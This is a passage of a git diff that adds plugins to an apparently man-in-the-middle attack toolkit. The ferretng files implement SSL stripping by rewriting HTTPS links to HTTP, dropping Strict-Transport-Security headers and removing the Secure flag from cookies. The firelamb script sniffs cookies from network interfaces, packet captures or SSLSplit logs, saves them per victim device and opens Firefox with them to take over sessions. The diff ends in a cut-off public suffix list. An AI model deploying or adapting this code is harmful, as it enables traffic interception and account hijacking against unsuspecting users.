but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from twisted.web.http import HTTPChannel +from ClientRequest import ClientRequest + +class FerretProxy(HTTPChannel): + + requestFactory = ClientRequest diff --git a/plugins/external/ferretng/SSLServerConnection.py b/plugins/external/ferretng/SSLServerConnection.py new file mode 100644 index 0000000..778c73d --- /dev/null +++ b/plugins/external/ferretng/SSLServerConnection.py @@ -0,0 +1,97 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging, re, string + +from core.logger import logger +from ServerConnection import ServerConnection +from URLMonitor import URLMonitor + +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_SSLServerConnection", formatter) + +class SSLServerConnection(ServerConnection): + + ''' + For SSL connections to a server, we need to do some additional stripping. First we need + to make note of any relative links, as the server will be expecting those to be requested + via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. + ''' + + cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) + cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) + iconExpression = re.compile(r"", re.IGNORECASE) + linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) + headExpression = re.compile(r"", re.IGNORECASE) + + def __init__(self, command, uri, postData, headers, client): + ServerConnection.__init__(self, command, uri, postData, headers, client) + self.urlMonitor = URLMonitor.getInstance() + + def getLogLevel(self): + return logging.INFO + + def getPostPrefix(self): + return "SECURE POST" + + def handleHeader(self, key, value): + if (key.lower() == 'set-cookie'): + value = SSLServerConnection.cookieExpression.sub("\g<1>", value) + + ServerConnection.handleHeader(self, key, value) + + def stripFileFromPath(self, path): + (strippedPath, lastSlash, file) = path.rpartition('/') + return strippedPath + + def buildAbsoluteLink(self, link): + absoluteLink = "" + + if ((not link.startswith('http')) and (not link.startswith('/'))): + absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link + + log.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link) + log.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink) + elif not link.startswith('http'): + absoluteLink = "http://"+self.headers['host']+link + + log.debug("[SSLServerConnection] Found relative link in secure transmission: " + link) + log.debug("[SSLServerConnection] New Absolute link: " + absoluteLink) + + if not absoluteLink == "": + absoluteLink = absoluteLink.replace('&', '&') + self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); + + def replaceCssLinks(self, data): + iterator = re.finditer(SSLServerConnection.cssExpression, data) + + for match in iterator: + self.buildAbsoluteLink(match.group(1)) + + return data + + def replaceSecureLinks(self, data): + data = ServerConnection.replaceSecureLinks(self, data) + data = self.replaceCssLinks(data) + + iterator = re.finditer(SSLServerConnection.linkExpression, data) + + for match in iterator: + self.buildAbsoluteLink(match.group(10)) + + return data diff --git a/plugins/external/ferretng/ServerConnection.py b/plugins/external/ferretng/ServerConnection.py new file mode 100644 index 0000000..f35fe2b --- /dev/null +++ b/plugins/external/ferretng/ServerConnection.py @@ -0,0 +1,195 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import re +import string +import random +import zlib +import gzip +import StringIO +import sys + +from core.logger import logger +from twisted.web.http import HTTPClient +from URLMonitor import URLMonitor + +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_ServerConnection", formatter) + +class ServerConnection(HTTPClient): + + ''' The server connection is where we do the bulk of the stripping. Everything that + comes back is examined. The headers we dont like are removed, and the links are stripped + from HTTPS to HTTP. + ''' + + urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) + urlType = re.compile(r"https://", re.IGNORECASE) + urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) + urlTypewww = re.compile(r"https://www", re.IGNORECASE) + urlwExplicitPort = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) + urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE) + urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE) + #urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE) + + def __init__(self, command, uri, postData, headers, client): + + self.command = command + self.uri = uri + self.postData = postData + self.headers = headers + self.client = client + self.clientInfo = None + self.urlMonitor = URLMonitor.getInstance() + self.isImageRequest = False + self.isCompressed = False + self.contentLength = None + self.shutdownComplete = False + + def getPostPrefix(self): + return "POST" + + def sendRequest(self): + if self.command == 'GET': + + log.debug(self.client.getClientIP() + "Sending Request: {}".format(self.headers['host'])) + + self.sendCommand(self.command, self.uri) + + def sendHeaders(self): + for header, value in self.headers.iteritems(): + log.debug("[ServerConnection] Sending header: ({}: {})".format(header, value)) + self.sendHeader(header, value) + + self.endHeaders() + + def sendPostData(self): + + self.transport.write(self.postData) + + def connectionMade(self): + log.debug("[ServerConnection] HTTP connection made.") + self.sendRequest() + self.sendHeaders() + + if (self.command == 'POST'): + self.sendPostData() + + def handleStatus(self, version, code, message): + log.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) + self.client.setResponseCode(int(code), message) + + def handleHeader(self, key, value): + if (key.lower() == 'location'): + value = self.replaceSecureLinks(value) + + if (key.lower() == 'content-type'): + if (value.find('image') != -1): + self.isImageRequest = True + log.debug("[ServerConnection] Response is image content, not scanning") + + if (key.lower() == 'content-encoding'): + if (value.find('gzip') != -1): + log.debug("[ServerConnection] Response is compressed") + self.isCompressed = True + + elif (key.lower()== 'strict-transport-security'): + log.debug("[ServerConnection] Zapped a strict-transport-security header") + + elif (key.lower() == 'content-length'): + self.contentLength = value + + elif (key.lower() == 'set-cookie'): + self.client.responseHeaders.addRawHeader(key, value) + + else: + self.client.setHeader(key, value) + + def handleEndHeaders(self): + if (self.isImageRequest and self.contentLength != None): + self.client.setHeader("Content-Length", self.contentLength) + + if self.length == 0: + self.shutdown() + + if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG": + for header, value in self.client.headers.iteritems(): + log.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value)) + + def handleResponsePart(self, data): + if (self.isImageRequest): + self.client.write(data) + else: + HTTPClient.handleResponsePart(self, data) + + def handleResponseEnd(self): + if (self.isImageRequest): + self.shutdown() + else: + try: + HTTPClient.handleResponseEnd(self) #Gets rid of some generic errors + except: + pass + + def handleResponse(self, data): + if (self.isCompressed): + log.debug("[ServerConnection] Decompressing content...") + data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() + + data = self.replaceSecureLinks(data) + + log.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) + + if (self.contentLength != None): + self.client.setHeader('Content-Length', len(data)) + + try: + self.client.write(data) + except: + pass + + try: + self.shutdown() + except: + log.info("[ServerConnection] Client connection dropped before request finished.") + + def replaceSecureLinks(self, data): + + iterator = re.finditer(ServerConnection.urlExpression, data) + + for match in iterator: + url = match.group() + + log.debug("[ServerConnection] Found secure reference: " + url) + + url = url.replace('https://', 'http://', 1) + url = url.replace('&', '&') + self.urlMonitor.addSecureLink(self.client.getClientIP(), url) + + data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data) + return re.sub(ServerConnection.urlType, 'http://', data) + + def shutdown(self): + if not self.shutdownComplete: + self.shutdownComplete = True + try: + self.client.finish() + self.transport.loseConnection() + except: + pass diff --git a/plugins/external/ferretng/ServerConnectionFactory.py b/plugins/external/ferretng/ServerConnectionFactory.py new file mode 100644 index 0000000..0c725ae --- /dev/null +++ b/plugins/external/ferretng/ServerConnectionFactory.py @@ -0,0 +1,50 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +from core.logger import logger +from twisted.internet.protocol import ClientFactory + +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_ServerConnectionFactory", formatter) + +class ServerConnectionFactory(ClientFactory): + + def __init__(self, command, uri, postData, headers, client): + self.command = command + self.uri = uri + self.postData = postData + self.headers = headers + self.client = client + + def buildProtocol(self, addr): + return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) + + def clientConnectionFailed(self, connector, reason): + log.debug("Server connection failed.") + + destination = connector.getDestination() + + if (destination.port != 443): + log.debug("Retrying via SSL") + self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) + else: + try: + self.client.finish() + except: + pass diff --git a/plugins/external/ferretng/URLMonitor.py b/plugins/external/ferretng/URLMonitor.py new file mode 100644 index 0000000..1773fc2 --- /dev/null +++ b/plugins/external/ferretng/URLMonitor.py @@ -0,0 +1,83 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import re +import os + +class URLMonitor: + + ''' + The URL monitor maintains a set of (client, url) tuples that correspond to requests which the + server is expecting over SSL. It also keeps track of secure favicon urls. + ''' + + # Start the arms race, and end up here... + javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] + cookies = dict() + hijack_client = '' + _instance = None + + def __init__(self): + self.strippedURLs = set() + self.strippedURLPorts = dict() + + @staticmethod + def getInstance(): + if URLMonitor._instance == None: + URLMonitor._instance = URLMonitor() + + return URLMonitor._instance + + def isSecureLink(self, client, url): + for expression in URLMonitor.javascriptTrickery: + if (re.match(expression, url)): + return True + + return (client,url) in self.strippedURLs + + def getSecurePort(self, client, url): + if (client,url) in self.strippedURLs: + return self.strippedURLPorts[(client,url)] + else: + return 443 + + def addSecureLink(self, client, url): + methodIndex = url.find("//") + 2 + method = url[0:methodIndex] + + pathIndex = url.find("/", methodIndex) + if pathIndex is -1: + pathIndex = len(url) + url += "/" + + host = url[methodIndex:pathIndex].lower() + path = url[pathIndex:] + + port = 443 + portIndex = host.find(":") + + if (portIndex != -1): + host = host[0:portIndex] + port = host[portIndex+1:] + if len(port) == 0: + port = 443 + + url = method + host + path + + self.strippedURLs.add((client, url)) + self.strippedURLPorts[(client, url)] = int(port) diff --git a/plugins/external/ferretng/__init__.py b/plugins/external/ferretng/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/plugins/external/firelamb/README b/plugins/external/firelamb/README new file mode 100644 index 0000000..e69de29 diff --git a/plugins/external/firelamb/firelamb.py b/plugins/external/firelamb/firelamb.py new file mode 100755 index 0000000..7af16f7 --- /dev/null +++ b/plugins/external/firelamb/firelamb.py @@ -0,0 +1,270 @@ +#!/usr/bin/env python +# Glenn's Firelamb. +# Make sure you have sqlite3 > 3.7 +# glenn@sensepost.com +# V0.0.2 + +from scapy.all import * +import sys +import helper +from optparse import OptionParser +import time +import sqlite3 +from publicsuffix import PublicSuffixList +from urlparse import urlparse +from subprocess import Popen +import os + + +save_dir='/var/lib/mana-toolkit/lamb_braai/' +ip_logging=False + + +#""Recent versions of Firefox use "PRAGMA journal_mode=WAL" which requires +#SQLite version 3.7.0 or later. You won't be able to read the database files +#with SQLite version 3.6.23.1 or earlier. You'll get the "file is encrypted +#or is not a database" message. +#"" + +sql_conns={} +host_visits={} +html_header="

Cookies sniffed for the following domains\n
\n
" + +def db_insert(mac,host,name,value,address,ua,ip): + + global ip_logging + + save_to=mac + if(ip_logging): + save_to=ip + + if (save_to not in sql_conns): + + print "MANA (FireLamb) : [+] New device noticed %s (%s)" %(save_to,ua) + try: + tmp_save_dir=save_dir+save_to + cookie_file=tmp_save_dir+'/cookies.sqlite' + cookie_file_exists=os.path.exists(cookie_file) + + if not os.path.exists(tmp_save_dir): + os.makedirs(tmp_save_dir) + + db=sqlite3.connect(cookie_file,isolation_level=None) + sql_conns[save_to] = db.cursor() + + if not cookie_file_exists: + + sql_conns[save_to].execute("CREATE TABLE moz_cookies (id INTEGER PRIMARY KEY, baseDomain TEXT, name TEXT, value TEXT, host TEXT, path TEXT, expiry INTEGER, lastAccessed INTEGER, creationTime INTEGER, isSecure INTEGER, isHttpOnly INTEGER, CONSTRAINT moz_uniqueid UNIQUE (name, host, path))") + sql_conns[save_to].execute("CREATE INDEX moz_basedomain ON moz_cookies (baseDomain)") + else: + print "MANA (FireLamb) : [+] Found existing cookie file, will append to %s" %cookie_file + except: + print "MANA (FireLamb) : [!] Failed to do db" + traceback.print_exc(file=sys.stdout) + exit(-1) + + full_url=address + scheme=urlparse(address).scheme + scheme=(urlparse(address).scheme) + basedomain = psl.get_public_suffix(host) + address=urlparse(address).hostname + short_url=scheme+"://"+address + + f=open(save_dir+save_to+'/visited.html','a') + if(save_to not in host_visits): + host_visits[save_to]={} + f.write(html_header) + if( address not in host_visits[save_to]): + host_visits[save_to][address]=1 + f.write("\n
\n%s" %(short_url,address)) + f.close() + + + + + if address == basedomain: + address = "." + address + + expire_date=2000000000 #Year2033 + now=int(time.time())-600 + sql_conns[save_to].execute('INSERT OR IGNORE INTO moz_cookies (baseDomain, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly) VALUES (?,?,?,?,?,?,?,?,?,?)', (basedomain,name,value,address,'/',expire_date,now,now,0,0)) +# sql_conns[save_to].execute('INSERT OR IGNORE INTO moz_cookies (baseDomain, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly) VALUES (?,?,?,?,?,?,?,?,?,?)', (basedomain,name,value,address,'/',expire_date,now,now,0,0)) + + +def process(pkt): + if pkt.haslayer(TCP): + if pkt.haslayer(Raw): + tcpdata = pkt.getlayer(Raw).load + if tcpdata.startswith("POST ") or tcpdata.startswith("GET "): + ether_src='None_observed' + if(pkt.haslayer(Ether)): + ether_src=pkt.getlayer(Ether).src + cookie=helper.getcookie(tcpdata) + host=helper.gethost(tcpdata) + useragent=helper.getuseragent(tcpdata) + address=helper.getdsturl(tcpdata) + ip_src=pkt.getlayer(IP).src + + if cookie != None: + cookie=''.join(cookie) + else: + cookie='' + if host != None: + host=''.join(host) + else: + host='' + if useragent != None: + useragent=''.join(useragent) + else: + useragnet='' + + if address != None: + address=''.join(address) + else: + address='' + + + if cookie != '': + cookies = cookie.split(';') + for name_val in cookies: + eq = name_val.find('=') + name = name_val[0:eq].strip() + val = name_val[eq+1:].strip() + + db_insert(ether_src,host,name,val,address,useragent,ip_src) + +def parsesslsplit(s): + logpath = s + print "MANA (FireLamb) : [+] Processing SSLSplit log files in directory %s" %logpath + if not (str(logpath).endswith("/")): + logpath += "/" + try: + for i in os.listdir(logpath): + if (str(i).endswith("443.log")): + print "MANA (FireLamb) : [+] Parsing SSLSplit file %s" %i + lst1 = str(i).split("[") + lst2 = str(lst1[1]).split("]") + myIP = lst2[0] + try: + f = open(logpath+str(i)) + gotGet = 0 + theHost = "" + theUrls = "" + theCook = "" + for z in f.readlines(): + z = str(z).replace("\r", "").replace("\n", "") + if (str(z).startswith("GET ") or str(z).startswith("POST ")): + gotGet=1 + lst1 = str(z).split(" ") + theUrls = str(lst1[1]).strip() + print "MANA (FireLamb) : [+] HTTP Request Start" + else: + if (gotGet > 0): + if (str(z).lower().startswith("host:")): + lst1 = str(z).strip().split(":") + theHost = str(lst1[1]).strip() + print "MANA (FireLamb) : [+] Got Host : " + theHost + if (str(z).lower().startswith("cookie:")): + lst1 = str(z).strip().split(": ") + theCook = str(lst1[1]).strip() + print "MANA (FireLamb) : [+] Got Cookie : " + theCook + if (str(z).find("HTTP/1.")>-1): + if ((theHost != "") and (theCook != "")): + cookies = theCook.split(";") + for cook in cookies: + eq = cook.find("=") + cname = str(cook)[0:eq].strip() + cvalu = str(cook)[eq+1:].strip() + db_insert(myIP, theHost, cname, cvalu, "http://" + theHost + theUrls, "", myIP) + gotGet = 0 + except: + print "MANA (FireLamb) : [+] Error opening log file " + logpath + str(i) + except: + print "MANA (FireLamb) : [+] Error opening log directory " + logpath + +def launch_firefox(): + list=[] + print "MANA (FireLamb) : [+] Checking %s for cookie folders" %save_dir + for f in os.listdir(save_dir): + if not os.path.isfile(f): + if os.path.exists(save_dir+f+"/cookies.sqlite"): + list.append(save_dir+f) + print "MANA (FireLamb) : [+] Found %d cookie folders" %len(list) + + for n in range(0,len(list)): + print "MANA (FireLamb) : [%d] - %s" %(n,list[n]) + + if( len(list)>0): + print "MANA (FireLamb) : Enter the session number you'd like to launch, or enter 'a' for all" + resp=raw_input(" Input:") + if(resp == 'a'): + for n in list: + print "MANA (FireLamb) : firefox -profile %s %s/visited.html" %(n,n) + Popen(["firefox","-profile",n,n+"/visited.html"]) + else: + val=int(resp) + ses=list[val] + print "MANA (FireLamb) : firefox -profile %s %s/visited.html" %(ses,ses) + os.system("firefox -profile %s %s/visited.html" %(ses,ses)) + else: + print "MANA (FireLamb) : Exiting..." + +#Main +def main(): + + + desc="Glenn's Firelamb: This tool will parse pcap files or listen on an interface for cookies. Cookies get saved to a Firefox cookies.sqlite file - one cookie file per observed device. (glenn@sensepost.com)" + parser=OptionParser(description=desc) + parser.add_option("-f", "--file", dest="fname",help="Specify pcap file to read") + parser.add_option("-i", "--interface", dest="iface",help="Specify interface to listen on") + parser.add_option("-p", "--ip_logging",action="store_true",dest="log_by_ip",default=False,help="Create cookie file per IP address. Default is per device MAC address") + parser.add_option("-l", "--launch_firefox",dest="launch_ff",action = "store_true",default=False,help="Launch Firefox profiles for the saved cookies") + parser.add_option("-s", "--karma_sslstrip",dest="sslstriplog",default=None,help="SSLStrip log file") + parser.add_option("-t", "--karma_sslsplit",dest="sslsplitdir",default=None,help="Directory of SSLSplit log files") + + sqlv=sqlite3.sqlite_version.split('.') + if (sqlv[0] <3 or sqlv[1] < 7): + print "MANA (FireLamb) : [!] WARNING. sqlite3 version 3.7 or greater required. You have version %s.I'll try continue, but will likely not be able to write Firefox cookie files." %sqlite3.sqlite_version + + + + + global psl + global ip_logging + psl = PublicSuffixList() + + (options, args) = parser.parse_args() + ip_logging=options.log_by_ip + + + if( not options.fname and not options.iface and not options.launch_ff): + print parser.print_help() + exit(-1) + + if(options.launch_ff): + if (options.sslsplitdir): + parsesslsplit(options.sslsplitdir) + launch_firefox() + + else: + + if not os.path.exists(save_dir): + os.makedirs(save_dir) + print "MANA (FireLamb) : [+] Saving output to %s" %save_dir + + + if(options.iface): + print "MANA (FireLamb) : [+] Listening for cookie traffic on interface %s" %options.iface + sniff(iface=options.iface,prn=process) + + elif(options.fname): + print "MANA (FireLamb) : [+] Reading pcap file '%s'...." %options.fname + packets=rdpcap(options.fname) + print "MANA (FireLamb) : [+] Processing file contents..." + for p in packets: + process(p) + print "MANA (FireLamb) : [+] Done." + + +if __name__ == "__main__": + main() diff --git a/plugins/external/firelamb/helper.py b/plugins/external/firelamb/helper.py new file mode 100755 index 0000000..9b14e40 --- /dev/null +++ b/plugins/external/firelamb/helper.py @@ -0,0 +1,108 @@ +#!/usr/bin/env python +# copyright of sandro gauci 2008 +# hijack helper functions +def parseHeader(buff,type='response'): + import re + SEP = '\r\n\r\n' + HeadersSEP = '\r*\n(?![\t\x20])' + import logging + log = logging.getLogger('parseHeader') + if SEP in buff: + header,body = buff.split(SEP,1) + else: + header = buff + body = '' + headerlines = re.split(HeadersSEP, header) + + if len(headerlines) > 1: + r = dict() + if type == 'response': + _t = headerlines[0].split(' ',2) + if len(_t) == 3: + httpversion,_code,description = _t + else: + log.warn('Could not parse the first header line: %s' % `_t`) + return r + try: + r['code'] = int(_code) + except ValueError: + return r + elif type == 'request': + _t = headerlines[0].split(' ',2) + if len(_t) == 3: + method,uri,httpversion = _t + r['method'] = method + r['uri'] = uri + r['httpversion'] = httpversion + else: + log.warn('Could not parse the first header line: %s' % `_t`) + return r + r['headers'] = dict() + for headerline in headerlines[1:]: + SEP = ':' + if SEP in headerline: + tmpname,tmpval = headerline.split(SEP,1) + name = tmpname.lower().strip() + val = map(lambda x: x.strip(),tmpval.split(',')) + else: + name,val = headerline.lower(),None + r['headers'][name] = val + r['body'] = body + return r + +def getdsturl(tcpdata): + import logging + log = logging.getLogger('getdsturl') + p = parseHeader(tcpdata,type='request') + if p is None: + log.warn('parseHeader returned None') + return + if p.has_key('uri') and p.has_key('headers'): + if p['headers'].has_key('host'): + r = 'http://%s%s' % (p['headers']['host'][0],p['uri']) + return r + else: + log.warn('seems like no host header was set') + else: + log.warn('parseHeader did not give us a nice return %s' % p) + +def gethost(tcpdata): + import logging + log = logging.getLogger('getdsturl') + p = parseHeader(tcpdata,type='request') + if p is None: + log.warn('parseHeader returned None') + return + if p.has_key('headers'): + if p['headers'].has_key('host'): + return p['headers']['host'] + +def getuseragent(tcpdata): + import logging + log = logging.getLogger('getuseragent') + p = parseHeader(tcpdata,type='request') + if p is None: + log.warn('parseHeader returned None') + return + if p.has_key('headers'): + if p['headers'].has_key('user-agent'): + return p['headers']['user-agent'] + +def calcloglevel(options): + logginglevel = 30 + if options.verbose is not None: + if options.verbose >= 3: + logginglevel = 10 + else: + logginglevel = 30-(options.verbose*10) + if options.quiet: + logginglevel = 50 + return logginglevel + +def getcookie(tcpdata): + p = parseHeader(tcpdata,type='request') + if p is None: + return + if p.has_key('headers'): + if p['headers'].has_key('cookie'): + return p['headers']['cookie'] diff --git a/plugins/external/firelamb/publicsuffix.py b/plugins/external/firelamb/publicsuffix.py new file mode 100755 index 0000000..5488ab2 --- /dev/null +++ b/plugins/external/firelamb/publicsuffix.py @@ -0,0 +1,106 @@ +"""Public Suffix List module for Python. +""" + +import codecs +import os.path + +class PublicSuffixList(object): + def __init__(self, input_file=None): + """Reads and parses public suffix list. + + input_file is a file object or another iterable that returns + lines of a public suffix list file. If input_file is None, an + UTF-8 encoded file named "publicsuffix.txt" in the same + directory as this Python module is used. + + The file format is described at http://publicsuffix.org/list/ + """ + + if input_file is None: + input_path = os.path.join(os.path.dirname(__file__), 'publicsuffix.txt') + input_file = codecs.open(input_path, "r", "utf8") + + root = self._build_structure(input_file) + self.root = self._simplify(root) + + def _find_node(self, parent, parts): + if not parts: + return parent + + if len(parent) == 1: + parent.append({}) + + assert len(parent) == 2 + negate, children = parent + + child = parts.pop() + + child_node = children.get(child, None) + + if not child_node: + children[child] = child_node = [0] + + return self._find_node(child_node, parts) + + def _add_rule(self, root, rule): + if rule.startswith('!'): + negate = 1 + rule = rule[1:] + else: + negate = 0 + + parts = rule.split('.') + self._find_node(root, parts)[0] = negate + + def _simplify(self, node): + if len(node) == 1: + return node[0] + + return (node[0], dict((k, self._simplify(v)) for (k, v) in node[1].items())) + + def _build_structure(self, fp): + root = [0] + + for line in fp: + line = line.strip() + if line.startswith('//') or not line: + continue + + self._add_rule(root, line.split()[0].lstrip('.')) + + return root + + def _lookup_node(self, matches, depth, parent, parts): + if parent in (0, 1): + negate = parent + children = None + else: + negate, children = parent + + matches[-depth] = negate + + if depth < len(parts) and children: + for name in ('*', parts[-depth]): + child = children.get(name, None) + if child is not None: + self._lookup_node(matches, depth+1, child, parts) + + def get_public_suffix(self, domain): + """get_public_suffix("www.example.com") -> "example.com" + + Calling this function with a DNS name will return the + public suffix for that name. + + Note that for internationalized domains the list at + http://publicsuffix.org uses decoded names, so it is + up to the caller to decode any Punycode-encoded names. + """ + + parts = domain.lower().lstrip('.').split('.') + hits = [None] * len(parts) + + self._lookup_node(hits, 1, self.root, parts) + + for i, what in enumerate(hits): + if what is not None and what == 0: + return '.'.join(parts[i:]) diff --git a/plugins/external/firelamb/publicsuffix.txt b/plugins/external/firelamb/publicsuffix.txt new file mode 100644 index 0000000..87b2f33 --- /dev/null +++ b/plugins/external/firelamb/publicsuffix.txt @@ -0,0 +1,4909 @@ +// ***** BEGIN LICENSE BLOCK ***** +// Version: MPL 1.1/GPL 2.0/LGPL 2.1 +// +// The contents of this file are subject to the Mozilla Public License Version +// 1.1 (the "License"); you may not use this file except in compliance with +// the License. You may obtain a copy of the License at +// http://www.mozilla.org/MPL/ +// +// Software distributed under the License is distributed on an "AS IS" basis, +// WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License +// for the specific language governing rights and limitations under the +// License. +// +// The Original Code is the Public Suffix List. +// +// The Initial Developer of the Original Code is +// Jo Hermans . +// Portions created by the Initial Developer are Copyright (C) 2007 +// the Initial Developer. All Rights Reserved. +// +// Contributor(s): +// Ruben Arakelyan +// Gervase Markham +// Pamela Greene +// David Triendl +// Jothan Frakes +// The kind representatives of many TLD registries +// +// Alternatively, the contents of this file may be used under the terms of +// either the GNU General Public License Version 2 or later (the "GPL"), or +// the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), +// in which case the provisions of the GPL or the LGPL are applicable instead +// of those above. If you wish to allow use of your version of this file only +// under the terms of either the GPL or the LGPL, and not to allow others to +// use your version of this file under the terms of the MPL, indicate your +// decision by deleting the provisions above and replace them with the notice +// and other provisions required by the GPL or the LGPL. If you do not delete +// the provisions above, a recipient may use your version of this file under +// the terms of any one of the MPL, the GPL or the LGPL. +// +// ***** END LICENSE BLOCK ***** + +// ac : http://en.wikipedia.org/wiki/.ac +ac +com.ac +edu.ac +gov.ac +net.ac +mil.ac +org.ac + +// ad : http://en.wikipedia.org/wiki/.ad +ad +nom.ad + +// ae : http://en.wikipedia.org/wiki/.ae +// see also: "Domain Name Eligibility Policy" at http://www.aeda.ae/eng/aepolicy.php +ae +co.ae +net.ae +org.ae +sch.ae +ac.ae +gov.ae +mil.ae + +// aero : see http://www.information.aero/index.php?id=66 +aero +accident-investigation.aero +accident-prevention.aero +aerobatic.aero +aeroclub.aero +aerodrome.aero +agents.aero +aircraft.aero +airline.aero +airport.aero +air-surveillance.aero +airtraffic.aero +air-traffic-control.aero +ambulance.aero +amusement.aero +association.aero +author.aero +ballooning.aero +broker.aero +caa.aero +cargo.aero +catering.aero +certification.aero +championship.aero +charter.aero +civilaviation.aero +club.aero +conference.aero +consultant.aero +consulting.aero +control.aero +council.aero +crew.aero +design.aero +dgca.aero +educator.aero +emergency.aero +engine.aero +engineer.aero +entertainment.aero +equipment.aero +exchange.aero +express.aero +federation.aero +flight.aero +freight.aero +fuel.aero +gliding.aero +government.aero +groundhandling.aero +group.aero +hanggliding.aero +homebuilt.aero +insurance.aero +journal.aero +journalist.aero +leasing.aero +logistics.aero +magazine.aero +maintenance.aero +marketplace.aero +media.aero +microlight.aero +modelling.aero +navigation.aero +parachuting.aero +paragliding.aero +passenger-association.aero +pilot.aero +press.aero +production.aero +recreation.aero +repbody.aero +res.aero +research.aero +rotorcraft.aero +safety.aero +scientist.aero +services.aero +show.aero +skydiving.aero +software.aero +student.aero +taxi.aero +trader.aero +trading.aero +trainer.aero +union.aero +workinggroup.aero +works.aero + +// af : http://www.nic.af/help.jsp +af +gov.af +com.af +org.af +net.af +edu.af + +// ag : http://www.nic.ag/prices.htm +ag +com.ag +org.ag +net.ag +co.ag +nom.ag + +// ai : http://nic.com.ai/ +ai +off.ai +com.ai +net.ai +org.ai + +// al : http://www.ert.gov.al/ert_alb/faq_det.html?Id=31 +al +com.al +edu.al +gov.al +mil.al +net.al +org.al + +// am : http://en.wikipedia.org/wiki/.am +am + +// an : http://www.una.an/an_domreg/default.asp +an +com.an +net.an +org.an +edu.an + +// ao : http://en.wikipedia.org/wiki/.ao +// http://www.dns.ao/REGISTR.DOC +ao 